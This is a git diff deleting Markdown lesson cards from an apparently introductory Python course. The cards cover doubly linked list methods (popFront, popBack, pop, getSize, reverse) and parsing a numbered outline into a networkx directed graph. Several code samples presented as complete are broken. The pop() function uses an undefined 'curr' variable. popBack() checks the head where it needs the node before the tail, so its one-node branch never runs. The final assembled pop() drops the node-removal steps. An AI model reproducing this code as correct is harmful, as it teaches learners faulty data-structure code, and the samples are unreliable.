-Otherwise, traverse the list to find the node that match the given value. If no node has the given value, then return the message, "Target not found.".If you find the node with the given value, then remove that node from the list.
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/531.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/531.md
deleted file mode 100644
index ed16709f..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/531.md
+++ /dev/null
@@ -1,41 +0,0 @@
-
-
-
-
-
-
-**step 1: pop(self, target)**
-
-This next function is going to allow us to delete any node we want from the list, as long as it exists.
-
-```python
-def pop(self, target):
-
- # 1. Check if the list is empty
- if self.head == None:
- return
-
- else:
- # 2. Search for target
- while curr.data != target:
- curr = curr.next
-
- if curr == None:
- print("Target not found.")
- return
-
- # 3. If curr is not the last node
- if curr.next != None:
- temp = curr.next
- curr.prev.next = temp
- temp.prev = curr.prev
-
- # 4. If curr is the last node, use popBack()
- else:
- self.popBack()
-
- # Decrement size
- self.size -= 1
-```
-
-For `pop(target)`, (1) we will check if the list is empty, then (2) search for the target node. Once we have the target, (3) we check if it's not the last node because the process in deleting a middle node and the last node are different. If the target node is not the last node, then we would create a `temp` pointer to the `next` node and point the node before the target, `curr.prev.next`, to `temp`. Now we can set temp's `prev` pointer to curr's `prev`.
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/6.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/6.md
deleted file mode 100644
index 1c238a47..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/6.md
+++ /dev/null
@@ -1,10 +0,0 @@
-
-
-
-
-
-
-Although the keyword `list` in python has a built-in function called `len()` that returns the number of entries in a list, this doesn't work on doubly linked lists. We need to write a function to do the same thing for our doubly linked list.
-
-Define a function called **getSize()** that returns the number of nodes in your doubly linked list.
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/611.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/611.md
deleted file mode 100644
index 3ba6a610..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/611.md
+++ /dev/null
@@ -1,17 +0,0 @@
-
-
-
-
-
-
-**Step 1: Accessing the `self` Variable**
-
-The `size` function will be very easy to implement since we already have the class variable, `self.size`
-
-Since we will have been keeping track of the count of each node after pushing and popping nodes, all we have to do is return the variable `self.size` for this.
-
-```python
-def getSize(self):
- return self.size
-```
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/62.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/62.md
deleted file mode 100644
index 178f0b2b..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/62.md
+++ /dev/null
@@ -1,13 +0,0 @@
-
-
-
-
-
-
-**Step 1: popBack()**
-
-The **popBack()** takes in no parameters. In this function, you need to check whether the list is empty. If yes, then simply return.
-
-If the list only contains one element, then change the value of your head node and tail node in the list, making your list empty because you're removing the only node.
-
-Otherwise, traverse the list to the tail node, and remove that node and assign a new tail node.
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/621.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/621.md
deleted file mode 100644
index 1c710270..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/621.md
+++ /dev/null
@@ -1,62 +0,0 @@
-
-
-
-
-
-
-**Step 1: Regular Operation**
-
-Now, if the list is not empty, let's continue coding the removing process.
-
-We can first check if there is more than one node in the list and set `self.head` to the next node. Now that `self.head` is the second node in the list, we can now get get rid of the connection the previous node.
-
-```python
- else:
- # 2. If there ISN'T only one node
- if self.head.next != None:
- self.head = self.head.next
- self.head.prev = None
-```
-
-**Step 2: Checking the Edge Case**
-
-In the case that there is only one node in the list, we would just make the head and the tail point to `None`.
-
-```python
- # 3. If there IS only one node
- else:
- self.head = None
- self.tail = None
-```
-Then, after we remove a node from our list, we have remember to decrease the size of the list.
-
-```python
- # Decrement size
- self.size -= 1
-```
-
-**Step 3: Putting it Together**
-
-With that, our `popFront()` function is complete!
-
-```python
-def popFront(self):
-
- # 1. If the list is not empty
- if self.head == None:
- return
-
- else:
- # 2. If there ISN'T only one node
- if self.head.next != None:
- self.head = self.head.next
- self.head.prev = None
-
- # 3. If there IS only one node
- else:
- self.head = None
- self.tail = None
-
- # Decrement size
- self.size -= 1
-```
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/63.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/63.md
deleted file mode 100644
index d2e25904..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/63.md
+++ /dev/null
@@ -1,14 +0,0 @@
-
-
-
-
-
-
-**Step 1: pop()**
-
-The last function for removing the element in doubly linked list is **pop()**. This function will take in a value and removes the node that contains that value in the list.
-
-Same procedure here: check whether the list is empty. If yes, then simply return.
-
-Otherwise, traverse the list to find the node that matches the given value. If none of the nodes has the given value, then return the message, "Target not found." If you find the node with the given value, then remove that node from the list.
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/631.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/631.md
deleted file mode 100644
index 4bb108d4..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/631.md
+++ /dev/null
@@ -1,19 +0,0 @@
-
-
-
-
-
-
-**Step 1: popBack()**
-
-Now let's look at how to pop a node from the **back** with the`popBack()` function.
-
-To access from the **tail** of the list, we will use `self.tail` since it points to the last node in the list. Also, using the same procedure we had in `popFront()`, we will check if the list is empty because if it is, then we can just write `return` since there are no nodes to pop.
-
-```python
-def popBack(self):
-
- # 1. If the list isn't empty
- if self.head == None:
- return
-```
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/641.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/641.md
deleted file mode 100644
index 01d3c213..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/641.md
+++ /dev/null
@@ -1,37 +0,0 @@
-
-
-
-
-
-
-**Step 1: Regular Operation**
-
-If the list is not empty, let's continue coding the popping process.
-
-Similar to method we used for `popFront()`, we can first check if there is more than one node in the list and set `self.tail` to the previous node. Now that `self.tail` is the second-last node in the list, we can now get get rid of the connection the next node.
-
-```python
- else:
- # 2. If there ISN'T only one node
- if self.head != None:
- self.tail = self.tail.prev
- self.tail.next = None
-```
-
-**Step 2: Checking the Edge Case**
-
-In the case that there is only one node in the list, we would just make the head and the tail point to `None`.
-
-```python
- # 3. If there IS only one node
- else:
- self.head = None
- self.tail = None
-```
-
-Then, after we remove a node from our list, we have remember to decrease the size of the list.
-
-```python
- # Decrement size
- self.size -= 1
-```
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/651.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/651.md
deleted file mode 100644
index 16159a32..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/651.md
+++ /dev/null
@@ -1,42 +0,0 @@
-
-
-
-
-
-
-**Step 1: Putting it Together & Final Notes**
-
-With that, our `popBack()` function is complete!
-
-```python
-def popBack(self):
-
- # 1. If the list isn't empty
- if self.head == None:
- return
-
- else:
- # 2. If there ISN'T only one node
- if self.head != None:
- self.tail = self.tail.prev
- self.tail.next = None
-
- # 3. If there IS only one node
- else:
- self.head = None
- self.tail = None
-
- # Decrement size
- self.size -= 1
-
-```
-
-Overall, you can think of this process as removing the last person in the line. As you can see in the picture below, `self.tail` is the node with the value **1**, let's call this **Node(1)**. `self.tail.next` is None and `self.tail.prev` is **Node(45)**
-
-
-
-In order to delete the last node, you must make `self.tail` the previous node, or else we will lose the address of the previous node.
-
-Now, **Node(45)** is `self.tail`. Since the node is `self.tail`, we can point `self.tail.next` to be None. **Node(1)** is now deleted after we call Python's built in garbage collector because **Node(1)** does not point to anything anymore.
-
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/661.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/661.md
deleted file mode 100644
index 8aba3f69..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/661.md
+++ /dev/null
@@ -1,20 +0,0 @@
-
-
-
-
-
-
-**Step 1: pop()**
-
-For our next function, `pop()`, we will be able to delete any node we want from the list, as long as it exists.
-
-Starting from the beginning of the list, we will use `self.head` since it points to the first node in the list. Also, using the same procedure we had in `popFront()` and `popBack()`, we will check if the list is empty because if it is, then we can just write `return` since there are no nodes to pop.
-
-```python
-def pop(self, target):
-
- # 1. Check if the list is empty
- if self.head == None:
- return
-```
-
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/671.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/671.md
deleted file mode 100644
index f7be11d8..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/671.md
+++ /dev/null
@@ -1,71 +0,0 @@
-
-
-
-
-
-
-**Step 1: Regular Operation**
-
-If the list is not empty, then we shall proceed with the popping process by first searching for the node that we want to pop. Using a while loop, we will traverse through the list with `curr`, and if `curr` reaches the end of the list and equals `None`, then print out "Target not found." and `return` to exit the loop.
-
-```python
- else:
- # 2. Search for target
- while curr.data != target:
- curr = curr.next
-
- if curr == None:
- print("Target not found.")
- return
-```
-
-**Step 2: Putting it Together & Note**
-
-Once we find the target, we check if it's not the last node because the process in deleting a middle node and the last node are different. If the target node is not the last node, then we would create a `temp` pointer to the `next` node and point the node before the target, `curr.prev.next`, to `temp`. Now we can set temp's `prev` pointer to `curr`'s `prev`.
-
-If the target node is the last node, then we can just use our `popBack()` function to remove it from the list.
-
-Note that the order in which the variables are assigned does matter because the values and pointers of the variables, `temp` and `curr` change throughout the if statement. If one is misplaced, then the values may be assigned incorrectly.
-
-```python
- # 3. If curr is not the last node
- if curr.next != None:
- temp = curr.next
- curr.prev.next = temp
- temp.prev = curr.prev
-
- # 4. If curr is the last node, use popBack()
- else:
- self.popBack()
-```
-
-Then, after we remove a node from our list, we have remember to decrease the size of the list.
-
-```python
- # Decrement size
- self.size -= 1
-```
-
----
-
-With that, we have completed our `pop()` function!
-
-```python
-def pop(self, target):
-
- # 1. Check if the list is empty
- if self.head == None:
- return
-
- else:
- # 2. Search for target
- while curr.data != target:
- curr = curr.next
-
- if curr == None:
- print("Target not found.")
- return
-
- # Decrement size
- self.size -= 1
-```
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/7.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/7.md
deleted file mode 100644
index 988fbd0b..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/7.md
+++ /dev/null
@@ -1,23 +0,0 @@
-
-
-
-
-
-
-
-
-We should reverse the list because why not?
-
-Let's try to define a function called **reverse()** that reverses the order of your current list, so the head becomes the tail and vice versa.
-
-For example, if you have a list as below:
-
-[head: 1 -> 2 -> 3 -> 4 -> 5 -> 6 -> tail: 7]
-
-The new list after being reversed will be:
-
-[head:7 -> 6 -> 5 -> 4 -> 3 -> 2 -> tail: 1]
-
-You should traverse the new list and print out the element for verification.
-
-However, if your current doubly linked list is empty, there are no elements to be reversed so you should return.
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/71.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/71.md
deleted file mode 100644
index a776bcf3..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/71.md
+++ /dev/null
@@ -1,17 +0,0 @@
-
-
-
-
-
-
-**Step 1: Visualize It**
-
-For this card, we strongly recommend you to grab a piece of paper and a pencil with you to visualize the reversing process. Doing this would make things more clear as you follow along and draw the list for every move.
-
-In the **reverse()**, first check whether your list is empty. If the list is not empty, it is safe to reverse. Then, figure out which variables you need and what you need to assign them to in order to reverse your list.
-
-Here is a few hints and questions that could help you out:
-
-If you current node is labelled as **curr**, the previous node of **curr** will become the following node of **curr**, and vice versa. What information should you store at this point, and what will you need to complete this process? After that, your **curr** should move to the previous node, and this reversing process will repeat. When you reach the end of this reversing process, what will the value of **curr** become?
-
-Now, with these hints in mind, try drawing out a graph by yourself to visualize this process, and then start building your function!
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/711.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/711.md
deleted file mode 100644
index 5dc6f508..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/711.md
+++ /dev/null
@@ -1,18 +0,0 @@
-
-
-
-
-
-
-**Step 1: Coding the Swap**
-
-Let's start building our `reverse()` function by creating variables. We can first make a copy to the head node and label it as `curr` and set the tail node to `curr` in order to start the process at the beginning of the list. During the reversing process, we will need to establish another variable `temp` with a value `None` that will be used in swapping the nodes around `curr`.
-
-```python
-def reverse(self):
- temp = None
- curr = self.head
- self.tail = curr
-```
-
-Note that the order in which the variables are set does matter because the variable `curr` needs to created and assigned before setting the tail node to `curr`, so always be careful when establishing variables in your functions.
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/721.md b/Module4_Labs/Lab2_Doubly_Linked_List/Cards/721.md
deleted file mode 100644
index 6ef9632c..00000000
--- a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/721.md
+++ /dev/null
@@ -1,56 +0,0 @@
-
-
-
-
-
-
-**Step 1: Looping Through the List**
-
-Now, let's starting coding the actual reversing process.
-
-To move through the entire list, we will create a while loop, which will iterate through each node and halt when `curr` reaches the very end of the list. For instance, if we were at the second node in a list of five, we would set `temp` as a pointer to first node, then switch the second node's pointers, which can be see in the first to third line under the while loop.
-
-The final step in the while loop is very interesting! We would think that we would want `curr = curr.next`, but remember that we just swapped the `next` and`prev` pointers, so instead we would set `curr = curr.prev`. Now `prev` is now pointing in the direction of `next`.
-
-```python
- # Swap next and prev for all nodes of
- # doubly linked list
- while curr is not None:
- temp = curr.prev
- curr.prev = curr.next
- curr.next = temp
- curr = curr.prev
-```
-**Step 2: Checking for Edge Cases**
-
-Before finish coding our reverse() function, we need to check for certain cases.
-
-If the list is either empty or only has one node, then the reversing process is not needed/ will not work because there is nothing left that can be reversed! So, we need to make sure that check for these cases before proceeding.
-
-```python
- # Before changing head, check for the cases like
- # empty list and list with only one node
- if temp is not None:
- self.head = temp.prev
-```
-With that, your reverse() function is complete!
-
-```python
-def reverse(self):
- temp = None
- curr = self.head
- self.tail = curr
-
- # Swap next and prev for all nodes of
- # doubly linked list
- while curr is not None:
- temp = curr.prev
- curr.prev = curr.next
- curr.next = temp
- curr = curr.prev
-
- # Before changing head, check for the cases like
- # empty list and list with only one node
- if temp is not None:
- self.head = temp.prev
-```
diff --git a/Module4_Labs/Lab3_File_System/Cards/1.md b/Module4_Labs/Lab3_File_System/Cards/1.md
deleted file mode 100644
index 55181cce..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/1.md
+++ /dev/null
@@ -1,32 +0,0 @@
-
-
-
-
-
-
-
-
-We will be representing a simple file structure with a directed graph. You will receive a text file on which to base it off of. The file will contain a bunch of file and folder names written in the format: `###. some words`. The following is an example of a file you could receive.
-
-```
-0. Friends
-01. Season 1
-011. Stranger Things
-012. Gotham
-013. Prison Break
-02. Season 2
-021. MADMAX
-022. Trick or Treat
-...
-```
-
-- the numbers representing the "level" of the folder/file. `0` being the root folder and `01` being a subfolder of `0`, so on and so forth. In the example above, `0. Friends` would be the root, while `01. Season 1` would be its subfolder.
- - you can assume that the level or the number of folders/files per level will never surpass `9`
- - you can assume that the root will always be `0`
-- `some words` represents the "name" of the folder/file, similar to how you would name your folders
-
-In the first part of the program, you will be required to:
-
-* Parse the file to obtain the structural numbers, *and* the names of the folders/files
-* Find a way to represent these components in a directed graph
-* Display the graph using `networkx` and redirect the output to a file
\ No newline at end of file
diff --git a/Module4_Labs/Lab3_File_System/Cards/11.md b/Module4_Labs/Lab3_File_System/Cards/11.md
deleted file mode 100644
index 7dc07dfd..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/11.md
+++ /dev/null
@@ -1,19 +0,0 @@
-
-
-
-
-
-
-As per the activity, directed graphs are represented through their node and their edges. So within a file system, each file or folder is a node and each "parent" folder has an edge connecting it to its child folder or file.
-
-The parent/child relationship can be found through reading doing some manipulations on the "structural" number provided. The entire number is mapped to the name of the folder to the right of it, but the first few numbers correlate to the parent folders.
-
-The following are examples of how subfolders are formatted:
-
-* `01` is a subfolder of `0`
-* `012` is a subfolder of `01`.
-* `0123` is a subfolder of `012`
-
-Quick quiz! What would the subfolder of `0257` be?
-
-It would be a subfolder of `025`! Make sure you understand the subfolder naming scheme as it is key to solving this problem. Making a diagram by hand might help in visualizing the subfolder rules.
\ No newline at end of file
diff --git a/Module4_Labs/Lab3_File_System/Cards/111.md b/Module4_Labs/Lab3_File_System/Cards/111.md
deleted file mode 100644
index 672463b8..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/111.md
+++ /dev/null
@@ -1,58 +0,0 @@
-
-
-
-
-
-
-Here is a diagram of the file structure with the root and subfolder, etc. Make sure to study the file structure before moving onto the coding details.
-
-
-
-Let's get into the implementation.
-
-First, we have to open and read the file line by line in order to read every folder and its associated number:
-
-```python
-readFile = open("textOutline.txt", "r")
-for line in readFile:
-```
-
-To separate the names from the numbers, we would have to split the line between the number and the words. In order to do that, we can use the built-in `split()` function. However that still leaves extra space before the name, so we will use the `strip()` function. Store these two parts in a list, named `dirAndVal` here:
-
-```python
- dirAndVal = line.split(". ")
- dirAndVal[1] = dirAndVal[1].strip()
-```
-
-To find and store the edges for later use, we can slice the structural string to everything but the last character. Notice how this new sliced string is the structural character of the parent of the current one. We are going to represent each individual edge as a tuple, and all the edges as a list. Here we make one edge, store it as a tuple, and add it to the list:
-
-```python
- aTuple = (dirAndVal[0][:-1], dirAndVal[0])
- edges.append(aTuple)
-```
-
-Remember to check to check your **edge cases**!
-
-```python
- if(dirAndVal[0] != "0"):
-```
-
-Why is the above good for handling edge case? What is that edge case? I'll give you a hint: its purpose lies in the following line.
-
-```python
-aTuple = (dirAndVal[0][:-1], dirAndVal[0])
-```
-
-Here, we are forming a tuple whose first element represents a parent and the whose second element represents a child of the parent. We do this by separating the last number in the directory number from the rest of the directory number in order to clearly see the parent number. For example, 0123` is a subfolder of `012`. Thus,
-
-* `dirAndVal[0][:-1]` would return `012`, the parent (subfolder) number
-* `dirAndVal[0]` would return `0123`, the child number
-
-`aTuple` would then be `(012, 0123)`.
-
-Now, once again, let's return to why our edge case check is necessary. If we are processing the root, (represented by `0`)
-
-* `dirAndVal[0][:-1]` would return nothing
-* `dirAndVal[0]` would return `0`
-
-Our `aTuple` would be confusing, as the first element would be empty! Thus, since the root is a special exception (it has no parent), we do not want to create `aTuple` for it.
\ No newline at end of file
diff --git a/Module4_Labs/Lab3_File_System/Cards/12.md b/Module4_Labs/Lab3_File_System/Cards/12.md
deleted file mode 100644
index ee4ce571..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/12.md
+++ /dev/null
@@ -1,11 +0,0 @@
-
-
-
-
-
-
-We can store the names of each of these files as the **value** of a node, each **node** being the unique structural number that is associated with each name. Recall in the activity that we can map the values to the nodes after we have defined the edges.
-
-Assume that you will never have to add edges to undefined nodes.
-
-In the activity, a dictionary was used to pass in the values to the directed graph; you should do the same.
\ No newline at end of file
diff --git a/Module4_Labs/Lab3_File_System/Cards/121.md b/Module4_Labs/Lab3_File_System/Cards/121.md
deleted file mode 100644
index d99794c5..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/121.md
+++ /dev/null
@@ -1,19 +0,0 @@
-
-
-
-
-
-
-Recall that we had split each line that we are reading in:
-
-```python
-dirAndVal = line.split(". ")
-```
-
-that means that `dirAndVal[0]` stores the structral number and `dirAndVal[1]` stores the name. We can simply make a dictionary out of this:
-
-```python
-val_map[dirAndVal[0]] = dirAndVal[1]
-```
-
-When you have finished reading the file, you will have made a list of edges and a dictionary of every node and its corresponding name.
\ No newline at end of file
diff --git a/Module4_Labs/Lab3_File_System/Cards/122.md b/Module4_Labs/Lab3_File_System/Cards/122.md
deleted file mode 100644
index 607c428f..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/122.md
+++ /dev/null
@@ -1,29 +0,0 @@
-
-
-
-
-
-
-Depending on the nature of your program, you may not find it necessary to modularize your functions. You can feasibly do everything from a singular function. The one function you should have is the `main()` function.
-
-You can define a `main()` function like so:
-
-```python
-def main():
-```
-
-From there, you can run all your parsing code or you can write a separate function just for file parsing. In this setting it is not necessary to modularize it since we are only running the parser once, but for good practice we are going to write a separate function:
-
-```python
-def readFile():
-```
-
-We are going to pass in an empty list of edges and a empty map of values that we want it to fill with information frm the file:
-
-```python
-def readFile(edges, val_map):
-```
-
-The rest of the code we have written for parsing will be inside the indented block of the method header.
-
-You will make a choice for the rest of the functions you write: whether to write them in the main for write a separate function for them.
\ No newline at end of file
diff --git a/Module4_Labs/Lab3_File_System/Cards/2.md b/Module4_Labs/Lab3_File_System/Cards/2.md
deleted file mode 100644
index 6aa9a457..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/2.md
+++ /dev/null
@@ -1,21 +0,0 @@
-
-
-
-
-
-
-
-
-In this next step, you are going to create a directed graph by writing your own class for it. Your graph object should be able to represent a directed graph so that it can be printed and traversed through.
-
-When representing this graph, think about the **attributes** that a graph has: what are the important aspects of this graph? How are you going to add information that you have parsed from the file to instances of the graph?
-
-You should have parsed the file for the structural numbers and the names of the folders. You should have noticed a pattern in the structural numbers that will give you vital information about the **directionality** of the edges. One thing to consider is how do you traverse folders: do folder have access to the names of the files that are in it, or do the files have access to the names of the folders they are in, or both?
-
-Your graph must have the correct directionality and you have to be able to display the name at it's correct structural location, which can be checked in the following parts.
-
-Friendly reminders:
-
-- graphs can be represented by either its edges, nodes, or both
-- the edges in this graph are not weighted, but they are directional
-- you will have to print the names of the folders
diff --git a/Module4_Labs/Lab3_File_System/Cards/21.md b/Module4_Labs/Lab3_File_System/Cards/21.md
deleted file mode 100644
index 8f2f1b49..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/21.md
+++ /dev/null
@@ -1,13 +0,0 @@
-
-
-
-
-
-
-To write your graph class well, it should be really easy to insert edges into the graph. Each edge has a "from" and a "to" node, making it representable by a 2 dimensional **tuple**. Because the edges are directed, the order of the elements in the tuple matters!
-
-The first element of a tuple represents the "from" end of an arrow, while the second element represents the "to" end. Getting the directions of the arrows wrong is considered wrong when testing your code.
-
-Now would be a great time to contemplate how the "from-to" relationship is represented in the input file and use that information to contemplate the direction of your arrows.
-
-
\ No newline at end of file
diff --git a/Module4_Labs/Lab3_File_System/Cards/211.md b/Module4_Labs/Lab3_File_System/Cards/211.md
deleted file mode 100644
index bcfc2fe2..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/211.md
+++ /dev/null
@@ -1,41 +0,0 @@
-
-
-
-
-
-
-To add edges to a graph, we first have to initialize a graph. This is done through writing:
-
-```python
-G2 = Graph()
-```
-
-To be able to create a new Graph object, we have to have a Graph **constructor**, in which we have to initialize any **attributes** it may have. In our case, the edges and the values of the nodes are the most important, so we are going to store them as attributes:
-
-```python
-def __init__(self):
- self.edges = defaultdict(list)
- self.val_map = {}
-```
-
-To add elements into the edges attribute, we should write a method which adds the edges on by one. Since it is a directed graph, we should accept a `from_node` and a `to_node`:
-
-```python
-def add_edge(self, from_node, to_node):
- self.edges[from_node].append(to_node)
-```
-
-`from_node` is the node at the "tail" of the edge and `to_node` is the node at the "head" of the edge. Essentially, in `addEdge`, we are forming an edge starting at `from_node` to `to_node` by storing `to_node` in the adjacency list of `from_node`.
-
-
-
-It should now make sense *why* properly determining which node is `from_node` and which node is `to_node` affects arrow direction and our algorithm correctness. The arrows of our directed graph start at `from_node` (parent node) and go towards `to_node` (child node). If we flipped this in our code, and had `from_node` point to `to_node`, we would get incorrect results, as we would have our child folder be the parent of our parent folder!
-
-From the previous code, we should have constructed a list of edges from the file as we were reading it in, storing the parent as the tuple's first element, and it's child as it's second element. But since our function only adds one edge at a time, we have to add the edge as we iterate through the graph:
-
-```python
-for edge in edges:
- G2.add_edge(*edge)
-```
-
-
\ No newline at end of file
diff --git a/Module4_Labs/Lab3_File_System/Cards/22.md b/Module4_Labs/Lab3_File_System/Cards/22.md
deleted file mode 100644
index 90834bae..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/22.md
+++ /dev/null
@@ -1,9 +0,0 @@
-
-
-
-
-
-
-In addition to storing the edges, our graph class should also store the values of the nodes (the names of the folders/files). This would greatly help as we are printing out the graph. Because it is important information about the graph, we want to store them as an attribute of our graph class.
-
-Think about what data structure is best for storing this kind of information: each unique node has a name that is associated with it.
\ No newline at end of file
diff --git a/Module4_Labs/Lab3_File_System/Cards/221.md b/Module4_Labs/Lab3_File_System/Cards/221.md
deleted file mode 100644
index 68a51b03..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/221.md
+++ /dev/null
@@ -1,23 +0,0 @@
-
-
-
-
-
-
-In the previous easy card, we added initializing an **attribute** called `val_map` in the constructor. This attribute is of a type dictionary because it can be easily be represented as a **key-value** pair, with the key as the node and the value as the name of the folder or file.
-
-In the previous step, when reading the file, we had already stored the nodes and their corresponding values as a dictionary, so it would be easy to add it to the graph that way.
-
-We write a method that accepts a dictionary as a parameter:
-
-```python
-def add_val_map(self, val_map):
- self.val_map = val_map
-```
-
-And we call it like so:
-
-```python
-G2.add_val_map(val_map)
-```
-
diff --git a/Module4_Labs/Lab3_File_System/Cards/3.md b/Module4_Labs/Lab3_File_System/Cards/3.md
deleted file mode 100644
index 798fd77d..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/3.md
+++ /dev/null
@@ -1,23 +0,0 @@
-
-
-
-
-
-
-Since you are given the Graph `G`, and a map with each node's value, `val_map`, you will need to be using both of these in conjunction with `networkx` functions to visually see your graph.
-
-First, you need to make sure the graph prints in a "tree" orientation. By default the graph will not be shown as we want it to appear. We would like it to appear as a hierarchal, "tree-like" graph, which is oriented like such:
-
-
-
-From the above diagram, one can see that a "tree-like" graph is one in which there are no cycles and there is a parent-child relationship; that is, there is a direct edge between the parent and child. Not every node needs children, but every child node (except the root), will have an associated parent node.
-
-In order to achieve this, you must set the positioning, `pos`, of the graph's nodes by using the `hierarchy_pos()` function we have provided. Basically, the `hierarchy_pos()` function manually alters the nodes positions, `pos`, in order to have them oriented in the above manner. This needs to be done manually because `networkx` currently does not have a predefined layout option to represent a graph in a hierarchal manner.
-
-Once this is achieved you can will need to use one of the `networkx` functions that allow you to **draw** the graph, and another to **draw** the graph with **labels** so each node will hold it's filename. Then to actually see the graph, you will need to use the `matplotlib` function to **show** the graph.
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Module4_Labs/Lab3_File_System/Cards/31.md b/Module4_Labs/Lab3_File_System/Cards/31.md
deleted file mode 100644
index 8b1577f3..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/31.md
+++ /dev/null
@@ -1,15 +0,0 @@
-
-
-
-
-
-
-To get the correct `pos` we need to look at how we can use the provided `hierarchy_pos()` function.
-
-The `hierarchy_pos()` is a function designed to make the graphs layout hierarchal (it had to be made separately because the `networkx` did not have a predefined hierarchal layout).
-
-We can see from the function that the first argument it needs is the graph `G`, which luckily we already have!
-
-However, when you look at the rest of the arguments, what do you notice? They all are already assigned values! So what else do we need to provide as an argument besides just `G` ?
-
-Think how you can identify the root of the graph you made? If you can, just provide that as the second argument, and you'll have your `pos`.
\ No newline at end of file
diff --git a/Module4_Labs/Lab3_File_System/Cards/311.md b/Module4_Labs/Lab3_File_System/Cards/311.md
deleted file mode 100644
index a31928f7..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/311.md
+++ /dev/null
@@ -1,16 +0,0 @@
-
-
-
-
-
-
-As explained earlier, we need to take this extra step because the `networkx` library does not have a preset layout that will represent the graph as a tree.
-
-Luckily, we provided you with a manual implementation of this layout in the `hierarchy_pos()` functions.
-
-Here we are calling `hierarchy_pos()` with our graph, `G`, as an argument, as well as the string `"0"`. We do this because we want to tell the function that it will be dealing with the layout of our graph `G`; and the `"0"` tells the graph that for our graph, `"0" ` is the identity of the root node.
-
-```python
- pos = hierarchy_pos(G,"0")
-```
-
diff --git a/Module4_Labs/Lab3_File_System/Cards/32.md b/Module4_Labs/Lab3_File_System/Cards/32.md
deleted file mode 100644
index 8765bff6..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/32.md
+++ /dev/null
@@ -1,18 +0,0 @@
-
-
-
-
-
-
-Now that you have `G, val_map, and pos`. You have all the things you need to draw the graph!
-
-Recall how you can use the `draw()` function from the `networkx` library to actually depict the graph. How do you call it ?
-
-Once you have achieved this, you will have a pictorial representation of the file system! However, you are still going to be missing the important things: the labels!
-
-
-
-Try to remember how to use the `draw_networkx_labels()` function to achieve this!
-
-Lastly, in order to actually see the graph on your screen, you need to use the `matplolib` function that **shows** the graph.
-
diff --git a/Module4_Labs/Lab3_File_System/Cards/321.md b/Module4_Labs/Lab3_File_System/Cards/321.md
deleted file mode 100644
index 3d9185f1..00000000
--- a/Module4_Labs/Lab3_File_System/Cards/321.md
+++ /dev/null
@@ -1,24 +0,0 @@
-
-
-
-
-
-
-In order to tell the `matplotlib` library what are graph is going to look like, we need to call the `nx.draw()` function. Here, we provide the graph, `G`, positioning, `pos`, and let it know we don't want the labels it would assign, `with_labels=False` (i.e we want to tell it what the labels should be).
-
-```python
- nx.draw(G, pos = pos, with_labels=False)
-```
-
-Now, we want to let `matplotlib` know what the labels of each node should be. To do this we use the `draw_networkx_labels()` function from `networkx`. Again, we provide the graph, `G`, the positioning, `pos`, and now we give our labels that are mapped to each node, `val_map`, and we specify the font size of the labeling, `4`.
-
-```python
- nx.draw_networkx_labels(G, pos, val_map, 4)
-```
-
-Lastly, in order to actually see the graph we use the `matplotlib` function `show()`. Here, since we have already told `matplotlib` what we want to show, we just have to call the function:
-
-```python
- plt.show()
-```
-
